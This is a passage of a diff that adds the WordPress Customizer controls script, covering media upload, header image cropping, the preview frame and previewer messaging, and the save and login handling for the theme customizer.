+			event.preventDefault();
+
+			if ( ! this.frame ) {
+				this.initFrame();
+			}
+
+			this.frame.open();
+		},
+
+		/**
+		 * Create a media modal select frame, and store it so the instance can be reused when needed.
+		 */
+		initFrame: function() {
+			this.frame = wp.media({
+				button: {
+					text: this.params.button_labels.frame_button
+				},
+				states: [
+					new wp.media.controller.Library({
+						title:     this.params.button_labels.frame_title,
+						library:   wp.media.query({ type: this.params.mime_type }),
+						multiple:  false,
+						date:      false
+					})
+				]
+			});
+
+			// When a file is selected, run a callback.
+			this.frame.on( 'select', this.select );
+		},
+
+		/**
+		 * Callback handler for when an attachment is selected in the media modal.
+		 * Gets the selected image information, and sets it within the control.
+		 */
+		select: function() {
+			// Get the attachment from the modal frame.
+			var attachment = this.frame.state().get( 'selection' ).first().toJSON();
+
+			this.params.attachment = attachment;
+
+			// Set the Customizer setting; the callback takes care of rendering.
+			this.setting( attachment.url );
+		},
+
+		/**
+		 * Reset the setting to the default value.
+		 */
+		restoreDefault: function( event ) {
+			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+				return;
+			}
+			event.preventDefault();
+
+			this.params.attachment = this.params.defaultAttachment;
+			this.setting( this.params.defaultAttachment.url );
+ 		},
+
+		/**
+		 * Called when the "Remove" link is clicked. Empties the setting.
+		 *
+		 * @param {object} event jQuery Event object
+		 */
+		removeFile: function( event ) {
+			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+				return;
+			}
+			event.preventDefault();
+
+			this.params.attachment = {};
+			this.setting( '' );
+			this.renderContent(); // Not bound to setting change when emptying.
+		},
+
+		// @deprecated
+		success: function() {},
+
+		// @deprecated
+		removerVisibility: function() {}
+	});
+
+	/**
+	 * A control for uploading images.
+	 *
+	 * This control no longer needs to do anything more
+	 * than what the upload control does in JS.
+	 *
+	 * @class
+	 * @augments wp.customize.UploadControl
+	 * @augments wp.customize.Control
+	 * @augments wp.customize.Class
+	 */
+	api.ImageControl = api.UploadControl.extend({
+		// @deprecated
+		thumbnailSrc: function() {}
+	});
+
+	/**
+	 * A control for uploading background images.
+	 *
+	 * @class
+	 * @augments wp.customize.UploadControl
+	 * @augments wp.customize.Control
+	 * @augments wp.customize.Class
+	 */
+	api.BackgroundControl = api.UploadControl.extend({
+
+		/**
+		 * When the control's DOM structure is ready,
+		 * set up internal event bindings.
+		 */
+		ready: function() {
+			api.UploadControl.prototype.ready.apply( this, arguments );
+		},
+
+		/**
+		 * Callback handler for when an attachment is selected in the media modal.
+		 * Does an additional AJAX request for setting the background context.
+		 */
+		select: function() {
+			api.UploadControl.prototype.select.apply( this, arguments );
+
+			wp.ajax.post( 'custom-background-add', {
+				nonce: _wpCustomizeBackground.nonces.add,
+				wp_customize: 'on',
+				theme: api.settings.theme.stylesheet,
+				attachment_id: this.params.attachment.id
+			} );
+		}
+	});
+
+	/**
+	 * @class
+	 * @augments wp.customize.Control
+	 * @augments wp.customize.Class
+	 */
+	api.HeaderControl = api.Control.extend({
+		ready: function() {
+			this.btnRemove        = $('#customize-control-header_image .actions .remove');
+			this.btnNew           = $('#customize-control-header_image .actions .new');
+
+			_.bindAll(this, 'openMedia', 'removeImage');
+
+			this.btnNew.on( 'click', this.openMedia );
+			this.btnRemove.on( 'click', this.removeImage );
+
+			api.HeaderTool.currentHeader = new api.HeaderTool.ImageModel();
+
+			new api.HeaderTool.CurrentView({
+				model: api.HeaderTool.currentHeader,
+				el: '#customize-control-header_image .current .container'
+			});
+
+			new api.HeaderTool.ChoiceListView({
+				collection: api.HeaderTool.UploadsList = new api.HeaderTool.ChoiceList(),
+				el: '#customize-control-header_image .choices .uploaded .list'
+			});
+
+			new api.HeaderTool.ChoiceListView({
+				collection: api.HeaderTool.DefaultsList = new api.HeaderTool.DefaultsList(),
+				el: '#customize-control-header_image .choices .default .list'
+			});
+
+			api.HeaderTool.combinedList = api.HeaderTool.CombinedList = new api.HeaderTool.CombinedList([
+				api.HeaderTool.UploadsList,
+				api.HeaderTool.DefaultsList
+			]);
+		},
+
+		/**
+		 * Returns a set of options, computed from the attached image data and
+		 * theme-specific data, to be fed to the imgAreaSelect plugin in
+		 * wp.media.view.Cropper.
+		 *
+		 * @param {wp.media.model.Attachment} attachment
+		 * @param {wp.media.controller.Cropper} controller
+		 * @returns {Object} Options
+		 */
+		calculateImageSelectOptions: function(attachment, controller) {
+			var xInit = parseInt(_wpCustomizeHeader.data.width, 10),
+				yInit = parseInt(_wpCustomizeHeader.data.height, 10),
+				flexWidth = !! parseInt(_wpCustomizeHeader.data['flex-width'], 10),
+				flexHeight = !! parseInt(_wpCustomizeHeader.data['flex-height'], 10),
+				ratio, xImg, yImg, realHeight, realWidth,
+				imgSelectOptions;
+
+			realWidth = attachment.get('width');
+			realHeight = attachment.get('height');
+
+			this.headerImage = new api.HeaderTool.ImageModel();
+			this.headerImage.set({
+				themeWidth: xInit,
+				themeHeight: yInit,
+				themeFlexWidth: flexWidth,
+				themeFlexHeight: flexHeight,
+				imageWidth: realWidth,
+				imageHeight: realHeight
+			});
+
+			controller.set( 'canSkipCrop', ! this.headerImage.shouldBeCropped() );
+
+			ratio = xInit / yInit;
+			xImg = realWidth;
+			yImg = realHeight;
+
+			if ( xImg / yImg > ratio ) {
+				yInit = yImg;
+				xInit = yInit * ratio;
+			} else {
+				xInit = xImg;
+				yInit = xInit / ratio;
+			}
+
+			imgSelectOptions = {
+				handles: true,
+				keys: true,
+				instance: true,
+				persistent: true,
+				imageWidth: realWidth,
+				imageHeight: realHeight,
+				x1: 0,
+				y1: 0,
+				x2: xInit,
+				y2: yInit
+			};
+
+			if (flexHeight === false && flexWidth === false) {
+				imgSelectOptions.aspectRatio = xInit + ':' + yInit;
+			}
+			if (flexHeight === false ) {
+				imgSelectOptions.maxHeight = yInit;
+			}
+			if (flexWidth === false ) {
+				imgSelectOptions.maxWidth = xInit;
+			}
+
+			return imgSelectOptions;
+		},
+
+		/**
+		 * Sets up and opens the Media Manager in order to select an image.
+		 * Depending on both the size of the image and the properties of the
+		 * current theme, a cropping step after selection may be required or
+		 * skippable.
+		 *
+		 * @param {event} event
+		 */
+		openMedia: function(event) {
+			var l10n = _wpMediaViewsL10n;
+
+			event.preventDefault();
+
+			this.frame = wp.media({
+				button: {
+					text: l10n.selectAndCrop,
+					close: false
+				},
+				states: [
+					new wp.media.controller.Library({
+						title:     l10n.chooseImage,
+						library:   wp.media.query({ type: 'image' }),
+						multiple:  false,
+						date:      false,
+						priority:  20,
+						suggestedWidth: _wpCustomizeHeader.data.width,
+						suggestedHeight: _wpCustomizeHeader.data.height
+					}),
+					new wp.media.controller.Cropper({
+						imgSelectOptions: this.calculateImageSelectOptions
+					})
+				]
+			});
+
+			this.frame.on('select', this.onSelect, this);
+			this.frame.on('cropped', this.onCropped, this);
+			this.frame.on('skippedcrop', this.onSkippedCrop, this);
+
+			this.frame.open();
+		},
+
+		/**
+		 * After an image is selected in the media modal,
+		 * switch to the cropper state.
+		 */
+		onSelect: function() {
+			this.frame.setState('cropper');
+		},
+
+		/**
+		 * After the image has been cropped, apply the cropped image data to the setting.
+		 *
+		 * @param {object} croppedImage Cropped attachment data.
+		 */
+		onCropped: function(croppedImage) {
+			var url = croppedImage.post_content,
+				attachmentId = croppedImage.attachment_id,
+				w = croppedImage.width,
+				h = croppedImage.height;
+			this.setImageFromURL(url, attachmentId, w, h);
+		},
+
+		/**
+		 * If cropping was skipped, apply the image data directly to the setting.
+		 *
+		 * @param {object} selection
+		 */
+		onSkippedCrop: function(selection) {
+			var url = selection.get('url'),
+				w = selection.get('width'),
+				h = selection.get('height');
+			this.setImageFromURL(url, selection.id, w, h);
+		},
+
+		/**
+		 * Creates a new wp.customize.HeaderTool.ImageModel from provided
+		 * header image data and inserts it into the user-uploaded headers
+		 * collection.
+		 *
+		 * @param {String} url
+		 * @param {Number} attachmentId
+		 * @param {Number} width
+		 * @param {Number} height
+		 */
+		setImageFromURL: function(url, attachmentId, width, height) {
+			var choice, data = {};
+
+			data.url = url;
+			data.thumbnail_url = url;
+			data.timestamp = _.now();
+
+			if (attachmentId) {
+				data.attachment_id = attachmentId;
+			}
+
+			if (width) {
+				data.width = width;
+			}
+
+			if (height) {
+				data.height = height;
+			}
+
+			choice = new api.HeaderTool.ImageModel({
+				header: data,
+				choice: url.split('/').pop()
+			});
+			api.HeaderTool.UploadsList.add(choice);
+			api.HeaderTool.currentHeader.set(choice.toJSON());
+			choice.save();
+			choice.importImage();
+		},
+
+		/**
+		 * Triggers the necessary events to deselect an image which was set as
+		 * the currently selected one.
+		 */
+		removeImage: function() {
+			api.HeaderTool.currentHeader.trigger('hide');
+			api.HeaderTool.CombinedList.trigger('control:removeImage');
+		}
+
+	});
+
+	// Change objects contained within the main customize object to Settings.
+	api.defaultConstructor = api.Setting;
+
+	// Create the collections for Controls, Sections and Panels.
+	api.control = new api.Values({ defaultConstructor: api.Control });
+	api.section = new api.Values({ defaultConstructor: api.Section });
+	api.panel = new api.Values({ defaultConstructor: api.Panel });
+
+	/**
+	 * @class
+	 * @augments wp.customize.Messenger
+	 * @augments wp.customize.Class
+	 * @mixes wp.customize.Events
+	 */
+	api.PreviewFrame = api.Messenger.extend({
+		sensitivity: 2000,
+
+		initialize: function( params, options ) {
+			var deferred = $.Deferred();
+
+			// This is the promise object.
+			deferred.promise( this );
+
+			this.container = params.container;
+			this.signature = params.signature;
+
+			$.extend( params, { channel: api.PreviewFrame.uuid() });
+
+			api.Messenger.prototype.initialize.call( this, params, options );
+
+			this.add( 'previewUrl', params.previewUrl );
+
+			this.query = $.extend( params.query || {}, { customize_messenger_channel: this.channel() });
+
+			this.run( deferred );
+		},
+
+		run: function( deferred ) {
+			var self   = this,
+				loaded = false,
+				ready  = false;
+
+			if ( this._ready ) {
+				this.unbind( 'ready', this._ready );
+			}
+
+			this._ready = function() {
+				ready = true;
+
+				if ( loaded ) {
+					deferred.resolveWith( self );
+				}
+			};
+
+			this.bind( 'ready', this._ready );
+
+			this.bind( 'ready', function ( data ) {
+				if ( ! data ) {
+					return;
+				}
+
+				/*
+				 * Walk over all panels, sections, and controls and set their
+				 * respective active states to true if the preview explicitly
+				 * indicates as such.
+				 */
+				var constructs = {
+					panel: data.activePanels,
+					section: data.activeSections,
+					control: data.activeControls
+				};
+				_( constructs ).each( function ( activeConstructs, type ) {
+					api[ type ].each( function ( construct, id ) {
+						var active = !! ( activeConstructs && activeConstructs[ id ] );
+						construct.active( active );
+					} );
+				} );
+			} );
+
+			this.request = $.ajax( this.previewUrl(), {
+				type: 'POST',
+				data: this.query,
+				xhrFields: {
+					withCredentials: true
+				}
+			} );
+
+			this.request.fail( function() {
+				deferred.rejectWith( self, [ 'request failure' ] );
+			});
+
+			this.request.done( function( response ) {
+				var location = self.request.getResponseHeader('Location'),
+					signature = self.signature,
+					index;
+
+				// Check if the location response header differs from the current URL.
+				// If so, the request was redirected; try loading the requested page.
+				if ( location && location !== self.previewUrl() ) {
+					deferred.rejectWith( self, [ 'redirect', location ] );
+					return;
+				}
+
+				// Check if the user is not logged in.
+				if ( '0' === response ) {
+					self.login( deferred );
+					return;
+				}
+
+				// Check for cheaters.
+				if ( '-1' === response ) {
+					deferred.rejectWith( self, [ 'cheatin' ] );
+					return;
+				}
+
+				// Check for a signature in the request.
+				index = response.lastIndexOf( signature );
+				if ( -1 === index || index < response.lastIndexOf('</html>') ) {
+					deferred.rejectWith( self, [ 'unsigned' ] );
+					return;
+				}
+
+				// Strip the signature from the request.
+				response = response.slice( 0, index ) + response.slice( index + signature.length );
+
+				// Create the iframe and inject the html content.
+				self.iframe = $('<iframe />').appendTo( self.container );
+
+				// Bind load event after the iframe has been added to the page;
+				// otherwise it will fire when injected into the DOM.
+				self.iframe.one( 'load', function() {
+					loaded = true;
+
+					if ( ready ) {
+						deferred.resolveWith( self );
+					} else {
+						setTimeout( function() {
+							deferred.rejectWith( self, [ 'ready timeout' ] );
+						}, self.sensitivity );
+					}
+				});
+
+				self.targetWindow( self.iframe[0].contentWindow );
+
+				self.targetWindow().document.open();
+				self.targetWindow().document.write( response );
+				self.targetWindow().document.close();
+			});
+		},
+
+		login: function( deferred ) {
+			var self = this,
+				reject;
+
+			reject = function() {
+				deferred.rejectWith( self, [ 'logged out' ] );
+			};
+
+			if ( this.triedLogin )
+				return reject();
+
+			// Check if we have an admin cookie.
+			$.get( api.settings.url.ajax, {
+				action: 'logged-in'
+			}).fail( reject ).done( function( response ) {
+				var iframe;
+
+				if ( '1' !== response )
+					reject();
+
+				iframe = $('<iframe src="' + self.previewUrl() + '" />').hide();
+				iframe.appendTo( self.container );
+				iframe.load( function() {
+					self.triedLogin = true;
+
+					iframe.remove();
+					self.run( deferred );
+				});
+			});
+		},
+
+		destroy: function() {
+			api.Messenger.prototype.destroy.call( this );
+			this.request.abort();
+
+			if ( this.iframe )
+				this.iframe.remove();
+
+			delete this.request;
+			delete this.iframe;
+			delete this.targetWindow;
+		}
+	});
+
+	(function(){
+		var uuid = 0;
+		/**
+		 * Create a universally unique identifier.
+		 *
+		 * @return {int}
+		 */
+		api.PreviewFrame.uuid = function() {
+			return 'preview-' + uuid++;
+		};
+	}());
+
+	/**
+	 * Set the document title of the customizer.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param {string} documentTitle
+	 */
+	api.setDocumentTitle = function ( documentTitle ) {
+		var tmpl, title;
+		tmpl = api.settings.documentTitleTmpl;
+		title = tmpl.replace( '%s', documentTitle );
+		document.title = title;
+		if ( window !== window.parent ) {
+			window.parent.document.title = document.title;
+		}
+	};
+
+	/**
+	 * @class
+	 * @augments wp.customize.Messenger
+	 * @augments wp.customize.Class
+	 * @mixes wp.customize.Events
+	 */
+	api.Previewer = api.Messenger.extend({
+		refreshBuffer: 250,
+
+		/**
+		 * Requires params:
+		 *  - container  - a selector or jQuery element
+		 *  - previewUrl - the URL of preview frame
+		 */
+		initialize: function( params, options ) {
+			var self = this,
+				rscheme = /^https?/;
+
+			$.extend( this, options || {} );
+			this.deferred = {
+				active: $.Deferred()
+			};
+
+			/*
+			 * Wrap this.refresh to prevent it from hammering the servers:
+			 *
+			 * If refresh is called once and no other refresh requests are
+			 * loading, trigger the request immediately.
+			 *
+			 * If refresh is called while another refresh request is loading,
+			 * debounce the refresh requests:
+			 * 1. Stop the loading request (as it is instantly outdated).
+			 * 2. Trigger the new request once refresh hasn't been called for
+			 *    self.refreshBuffer milliseconds.
+			 */
+			this.refresh = (function( self ) {
+				var refresh  = self.refresh,
+					callback = function() {
+						timeout = null;
+						refresh.call( self );
+					},
+					timeout;
+
+				return function() {
+					if ( typeof timeout !== 'number' ) {
+						if ( self.loading ) {
+							self.abort();
+						} else {
+							return callback();
+						}
+					}
+
+					clearTimeout( timeout );
+					timeout = setTimeout( callback, self.refreshBuffer );
+				};
+			})( this );
+
+			this.container   = api.ensure( params.container );
+			this.allowedUrls = params.allowedUrls;
+			this.signature   = params.signature;
+
+			params.url = window.location.href;
+
+			api.Messenger.prototype.initialize.call( this, params );
+
+			this.add( 'scheme', this.origin() ).link( this.origin ).setter( function( to ) {
+				var match = to.match( rscheme );
+				return match ? match[0] : '';
+			});
+
+			// Limit the URL to internal, front-end links.
+			//
+			// If the frontend and the admin are served from the same domain, load the
+			// preview over ssl if the Customizer is being loaded over ssl. This avoids
+			// insecure content warnings. This is not attempted if the admin and frontend
+			// are on different domains to avoid the case where the frontend doesn't have
+			// ssl certs.
+
+			this.add( 'previewUrl', params.previewUrl ).setter( function( to ) {
+				var result;
+
+				// Check for URLs that include "/wp-admin/" or end in "/wp-admin".
+				// Strip hashes and query strings before testing.
+				if ( /\/wp-admin(\/|$)/.test( to.replace( /[#?].*$/, '' ) ) )
+					return null;
+
+				// Attempt to match the URL to the control frame's scheme
+				// and check if it's allowed. If not, try the original URL.
+				$.each([ to.replace( rscheme, self.scheme() ), to ], function( i, url ) {
+					$.each( self.allowedUrls, function( i, allowed ) {
+						var path;
+
+						allowed = allowed.replace( /\/+$/, '' );
+						path = url.replace( allowed, '' );
+
+						if ( 0 === url.indexOf( allowed ) && /^([/#?]|$)/.test( path ) ) {
+							result = url;
+							return false;
+						}
+					});
+					if ( result )
+						return false;
+				});
+
+				// If we found a matching result, return it. If not, bail.
+				return result ? result : null;
+			});
+
+			// Refresh the preview when the URL is changed (but not yet).
+			this.previewUrl.bind( this.refresh );
+
+			this.scroll = 0;
+			this.bind( 'scroll', function( distance ) {
+				this.scroll = distance;
+			});
+
+			// Update the URL when the iframe sends a URL message.
+			this.bind( 'url', this.previewUrl );
+
+			// Update the document title when the preview changes.
+			this.bind( 'documentTitle', function ( title ) {
+				api.setDocumentTitle( title );
+			} );
+		},
+
+		query: function() {},
+
+		abort: function() {
+			if ( this.loading ) {
+				this.loading.destroy();
+				delete this.loading;
+			}
+		},
+
+		refresh: function() {
+			var self = this;
+
+			this.abort();
+
+			this.loading = new api.PreviewFrame({
+				url:        this.url(),
+				previewUrl: this.previewUrl(),
+				query:      this.query() || {},
+				container:  this.container,
+				signature:  this.signature
+			});
+
+			this.loading.done( function() {
+				// 'this' is the loading frame
+				this.bind( 'synced', function() {
+					if ( self.preview )
+						self.preview.destroy();
+					self.preview = this;
+					delete self.loading;
+
+					self.targetWindow( this.targetWindow() );
+					self.channel( this.channel() );
+
+					self.deferred.active.resolve();
+					self.send( 'active' );
+				});
+
+				this.send( 'sync', {
+					scroll:   self.scroll,
+					settings: api.get()
+				});
+			});
+
+			this.loading.fail( function( reason, location ) {
+				if ( 'redirect' === reason && location )
+					self.previewUrl( location );
+
+				if ( 'logged out' === reason ) {
+					if ( self.preview ) {
+						self.preview.destroy();
+						delete self.preview;
+					}
+
+					self.login().done( self.refresh );
+				}
+
+				if ( 'cheatin' === reason )
+					self.cheatin();
+			});
+		},
+
+		login: function() {
+			var previewer = this,
+				deferred, messenger, iframe;
+
+			if ( this._login )
+				return this._login;
+
+			deferred = $.Deferred();
+			this._login = deferred.promise();
+
+			messenger = new api.Messenger({
+				channel: 'login',
+				url:     api.settings.url.login
+			});
+
+			iframe = $('<iframe src="' + api.settings.url.login + '" />').appendTo( this.container );
+
+			messenger.targetWindow( iframe[0].contentWindow );
+
+			messenger.bind( 'login', function() {
+				iframe.remove();
+				messenger.destroy();
+				delete previewer._login;
+				deferred.resolve();
+			});
+
+			return this._login;
+		},
+
+		cheatin: function() {
+			$( document.body ).empty().addClass('cheatin').append( '<p>' + api.l10n.cheatin + '</p>' );
+		}
+	});
+
+	api.controlConstructor = {
+		color:  api.ColorControl,
+		upload: api.UploadControl,
+		image:  api.ImageControl,
+		header: api.HeaderControl,
+		background: api.BackgroundControl
+	};
+	api.panelConstructor = {};
+	api.sectionConstructor = {};
+
+	$( function() {
+		api.settings = window._wpCustomizeSettings;
+		api.l10n = window._wpCustomizeControlsL10n;
+
+		// Check if we can run the Customizer.
+		if ( ! api.settings ) {
+			return;
+		}
+
+		// Redirect to the fallback preview if any incompatibilities are found.
+		if ( ! $.support.postMessage || ( ! $.support.cors && api.settings.isCrossDomain ) )
+			return window.location = api.settings.url.fallback;
+
+		var parent, topFocus,
+			body = $( document.body ),
+			overlay = body.children( '.wp-full-overlay' ),
+			title = $( '#customize-info .theme-name.site-title' ),
+			closeBtn = $( '.customize-controls-close' ),
+			saveBtn = $( '#save' );
+
+		// Prevent the form from saving when enter is pressed on an input or select element.
+		$('#customize-controls').on( 'keydown', function( e ) {
+			var isEnter = ( 13 === e.which ),
+				$el = $( e.target );
+
+			if ( isEnter && ( $el.is( 'input:not([type=button])' ) || $el.is( 'select' ) ) ) {
+				e.preventDefault();
+			}
+		});
+
+		// Expand/Collapse the main customizer customize info.
+		$( '#customize-info' ).find( '> .accordion-section-title' ).on( 'click keydown', function( event ) {
+			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+				return;
+			}
+			event.preventDefault(); // Keep this AFTER the key filter above
+
+			var section = $( this ).parent(),
+				content = section.find( '.accordion-section-content:first' );
+
+			if ( section.hasClass( 'cannot-expand' ) ) {
+				return;
+			}
+
+			if ( section.hasClass( 'open' ) ) {
+				section.toggleClass( 'open' );
+				content.slideUp( api.Panel.prototype.defaultExpandedArguments.duration );
+			} else {
+				content.slideDown( api.Panel.prototype.defaultExpandedArguments.duration );
+				section.toggleClass( 'open' );
+			}
+		});
+
+		// Initialize Previewer
+		api.previewer = new api.Previewer({
+			container:   '#customize-preview',
+			form:        '#customize-controls',
+			previewUrl:  api.settings.url.preview,
+			allowedUrls: api.settings.url.allowed,
+			signature:   'WP_CUSTOMIZER_SIGNATURE'
+		}, {
+
+			nonce: api.settings.nonce,
+
+			query: function() {
+				var dirtyCustomized = {};
+				api.each( function ( value, key ) {
+					if ( value._dirty ) {
+						dirtyCustomized[ key ] = value();
+					}
+				} );
+
+				return {
+					wp_customize: 'on',
+					theme:      api.settings.theme.stylesheet,
+					customized: JSON.stringify( dirtyCustomized ),
+					nonce:      this.nonce.preview
+				};
+			},
+
+			save: function() {
+				var self  = this,
+					query = $.extend( this.query(), {
+						action: 'customize_save',
+						nonce:  this.nonce.save
+					} ),
+					processing = api.state( 'processing' ),
+					submitWhenDoneProcessing,
+					submit;
+
+				body.addClass( 'saving' );
+
+				submit = function () {
+					var request = $.post( api.settings.url.ajax, query );
+
+					api.trigger( 'save', request );
+
+					request.always( function () {
+						body.removeClass( 'saving' );
+					} );
+
+					request.done( function( response ) {
+						// Check if the user is logged out.
+						if ( '0' === response ) {
+							self.preview.iframe.hide();
+							self.login().done( function() {
+								self.save();
+								self.preview.iframe.show();
+							} );
+							return;
+						}
+
+						// Check for cheaters.
+						if ( '-1' === response ) {
+							self.cheatin();
+							return;
+						}
+
+						// Clear setting dirty states
+						api.each( function ( value ) {
+							value._dirty = false;
+						} );
+						api.trigger( 'saved' );
+					} );
+				};
+
+				if ( 0 === processing() ) {
+					submit();
+				} else {
+					submitWhenDoneProcessing = function () {
+						if ( 0 === processing() ) {
+							api.state.unbind( 'change', submitWhenDoneProcessing );
+							submit();
+						}
+					};
+					api.state.bind( 'change', submitWhenDoneProcessing );
+				}
+
+			}
+		});
+
+		// Refresh the nonces if the preview sends updated nonces over.
+		api.previewer.bind( 'nonce', function( nonce ) {
+			$.extend( this.nonce, nonce );
+		});
+
+		// Create Settings
+		$.each( api.settings.settings, function( id, data ) {
+			api.create( id, id, data.value, {
+				transport: data.transport,
+				previewer: api.previewer
+			} );
+		});
+
+		// Create Panels
+		$.each( api.settings.panels, function ( id, data ) {
+			var constructor = api.panelConstructor[ data.type ] || api.Panel,
+				panel;
+
+			panel = new constructor( id, {
+				params: data
+			} );
+			api.panel.add( id, panel );
+		});
+
+		// Create Sections
+		$.each( api.settings.sections, function ( id, data ) {
+			var constructor = api.sectionConstructor[ data.type ] || api.Section,
+				section;
+
+			section = new constructor( id, {
+				params: data
+			} );
+			api.section.add( id, section );
+		});
+
+		// Create Controls
+		$.each( api.settings.controls, function( id, data ) {
+			var constructor = api.controlConstructor[ data.type ] || api.Control,
+				control;
+
+			control = new constructor( id, {
+				params: data,
+				previewer: api.previewer
+			} );
+			api.control.add( id, control );
+		});
+
+		// Focus the autofocused element
+		_.each( [ 'panel', 'section', 'control' ], function ( type ) {
+			var instance, id = api.settings.autofocus[ type ];
+			if ( id && api[ type ]( id ) ) {
+				instance = api[ type ]( id );
+				// Wait until the element is embedded in the DOM
+				instance.deferred.embedded.done( function () {
+					// Wait until the preview has activated and so active panels, sections, controls have been set
+					api.previewer.deferred.active.done( function () {
+						instance.focus();
+					});
+				});
+			}
+		});
+
+		/**
+		 * Sort panels, sections, controls by priorities. Hide empty sections and panels.
+		 *
+		 * @since 4.1.0
+		 */
+		api.reflowPaneContents = _.bind( function () {
+
+			var appendContainer, activeElement, rootContainers, rootNodes = [], wasReflowed = false;
+
+			if ( document.activeElement ) {
+				activeElement = $( document.activeElement );
+			}
+
+			// Sort the sections within each panel
+			api.panel.each( function ( panel ) {
+				var sections = panel.sections(),
+					sectionContainers = _.pluck( sections, 'container' );
+				rootNodes.push( panel );
+				appendContainer = panel.container.find( 'ul:first' );
+				if ( ! api.utils.areElementListsEqual( sectionContainers, appendContainer.children( '[id]' ) ) ) {
+					_( sections ).each( function ( section ) {
+						appendContainer.append( section.container );
+					} );
+					wasReflowed = true;
+				}
+			} );
+
+			// Sort the controls within each section
+			api.section.each( function ( section ) {
+				var controls = section.controls(),
+					controlContainers = _.pluck( controls, 'container' );
+				if ( ! section.panel() ) {
+					rootNodes.push( section );
+				}
+				appendContainer = section.container.find( 'ul:first' );
+				if ( ! api.utils.areElementListsEqual( controlContainers, appendContainer.children( '[id]' ) ) ) {
+					_( controls ).each( function ( control ) {
+						appendContainer.append( control.container );
+					} );
+					wasReflowed = true;
+				}
+			} );
+
+			// Sort the root panels and sections
+			rootNodes.sort( api.utils.prioritySort );
+			rootContainers = _.pluck( rootNodes, 'container' );
+			appendContainer = $( '#customize-theme-controls' ).children( 'ul' ); // @todo This should be defined elsewhere, and to be configurable
+			if ( ! api.utils.areElementListsEqual( rootContainers, appendContainer.children() ) ) {
+				_( rootNodes ).each( function ( rootNode ) {
+					appendContainer.append( rootNode.container );
+				} );
+				wasReflowed = true;
+			}
+
+			// Now re-trigger the active Value callbacks to that the panels and sections can decide whether they can be rendered
+			api.panel.each( function ( panel ) {
+				var value = panel.active();
+				panel.active.callbacks.fireWith( panel.active, [ value, value ] );
+			} );
+			api.section.each( function ( section ) {
+				var value = section.active();
+				section.active.callbacks.fireWith( section.active, [ value, value ] );
+			} );
+
+			// Restore focus if there was a reflow and there was an active (focused) element
+			if ( wasReflowed && activeElement ) {
+				activeElement.focus();
+			}
+		}, api );
+		api.bind( 'ready', api.reflowPaneContents );
+		api.reflowPaneContents = _.debounce( api.reflowPaneContents, 100 );
+		$( [ api.panel, api.section, api.control ] ).each( function ( i, values ) {
+			values.bind( 'add', api.reflowPaneContents );
+			values.bind( 'change', api.reflowPaneContents );
+			values.bind( 'remove', api.reflowPaneContents );
+		} );
+
+		// Check if preview url is valid and load the preview frame.
+		if ( api.previewer.previewUrl() ) {
+			api.previewer.refresh();
+		} else {
+			api.previewer.previewUrl( api.settings.url.home );
+		}
+
+		// Save and activated states
+		(function() {
+			var state = new api.Values(),
+				saved = state.create( 'saved' ),
+				activated = state.create( 'activated' ),
+				processing = state.create( 'processing' );
+
+			state.bind( 'change', function() {
+				if ( ! activated() ) {
+					saveBtn.val( api.l10n.activate ).prop( 'disabled', false );
+					closeBtn.find( '.screen-reader-text' ).text( api.l10n.cancel );
+
+				} else if ( saved() ) {
+					saveBtn.val( api.l10n.saved ).prop( 'disabled', true );
+					closeBtn.find( '.screen-reader-text' ).text( api.l10n.close );
+
+				} else {
+					saveBtn.val( api.l10n.save ).prop( 'disabled', false );
+					closeBtn.find( '.screen-reader-text' ).text( api.l10n.cancel );
+				}
+			});
+
+			// Set default states.
+			saved( true );
+			activated( api.settings.theme.active );
+			processing( 0 );
+
+			api.bind( 'change', function() {
+				state('saved').set( false );
+			});
+
+			api.bind( 'saved', function() {
+				state('saved').set( true );
+				state('activated').set( true );
+			});
+
+			activated.bind( function( to ) {
+				if ( to )
+					api.trigger( 'activated' );
+			});
+
+			// Expose states to the API.
+			api.state = state;
+		}());
+
+		// Button bindings.
+		saveBtn.click( function( event ) {
+			api.previewer.save();
+			event.preventDefault();
+		}).keydown( function( event ) {
+			if ( 9 === event.which ) // tab
+				return;
+			if ( 13 === event.which ) // enter
+				api.previewer.save();
+			event.preventDefault();
+		});
+
+		// Go back to the top-level Customizer accordion.
+		$( '#customize-header-actions' ).on( 'click keydown', '.control-panel-back', function( event ) {
+			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+				return;
+			}
+
+			event.preventDefault(); // Keep this AFTER the key filter above
+			api.panel.each( function ( panel ) {
+				panel.collapse();
+			});
+		});
+
+		closeBtn.keydown( function( event ) {
+			if ( 9 === event.which ) // tab
+				return;
+			if ( 13 === event.which ) // enter
+				this.click();
+			event.preventDefault();
+		});
+
+		$('.collapse-sidebar').on( 'click keydown', function( event ) {
+			if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
+				return;
+			}
+
+			overlay.toggleClass( 'collapsed' ).toggleClass( 'expanded' );
+			event.preventDefault();
+		});
+
+		// Bind site title display to the corresponding field.
+		if ( title.length ) {
+			$( '#customize-control-blogname input' ).on( 'input', function() {
+				title.text( this.value );
+			} );
+		}
+
+		// Create a potential postMessage connection with the parent frame.
+		parent = new api.Messenger({
+			url: api.settings.url.parent,
+			channel: 'loader'
+		});
+
+		// If we receive a 'back' event, we're inside an iframe.
+		// Send any clicks to the 'Return' link to the parent page.
+		parent.bind( 'back', function() {
+			closeBtn.on( 'click.customize-controls-close', function( event ) {
+				event.preventDefault();
+				parent.send( 'close' );
+			});
+		});
+
+		// Prompt user with AYS dialog if leaving the Customizer with unsaved changes
+		$( window ).on( 'beforeunload', function () {
+			if ( ! api.state( 'saved' )() ) {
+				return api.l10n.saveAlert;
+			}
+		} );
+
+		// Pass events through to the parent.
+		$.each( [ 'saved', 'change' ], function ( i, event ) {
+			api.bind( event, function() {
+				parent.send( event );
+			});
+		} );
+
+		// When activated, let the loader handle redirecting the page.
+		// If no loader exists, redirect the page ourselves (if a url exists).
+		api.bind( 'activated', function() {
+			if ( parent.targetWindow() )
+				parent.send( 'activated', api.settings.url.activated );
+			else if ( api.settings.url.activated )
+				window.location = api.settings.url.activated;
+		});
+
+		// Initialize the connection with the parent frame.
+		parent.send( 'ready' );
+
+		// Control visibility for default controls
+		$.each({
+			'background_image': {
+				controls: [ 'background_repeat', 'background_position_x', 'background_attachment' ],
+				callback: function( to ) { return !! to; }
+			},
+			'show_on_front': {
+				controls: [ 'page_on_front', 'page_for_posts' ],
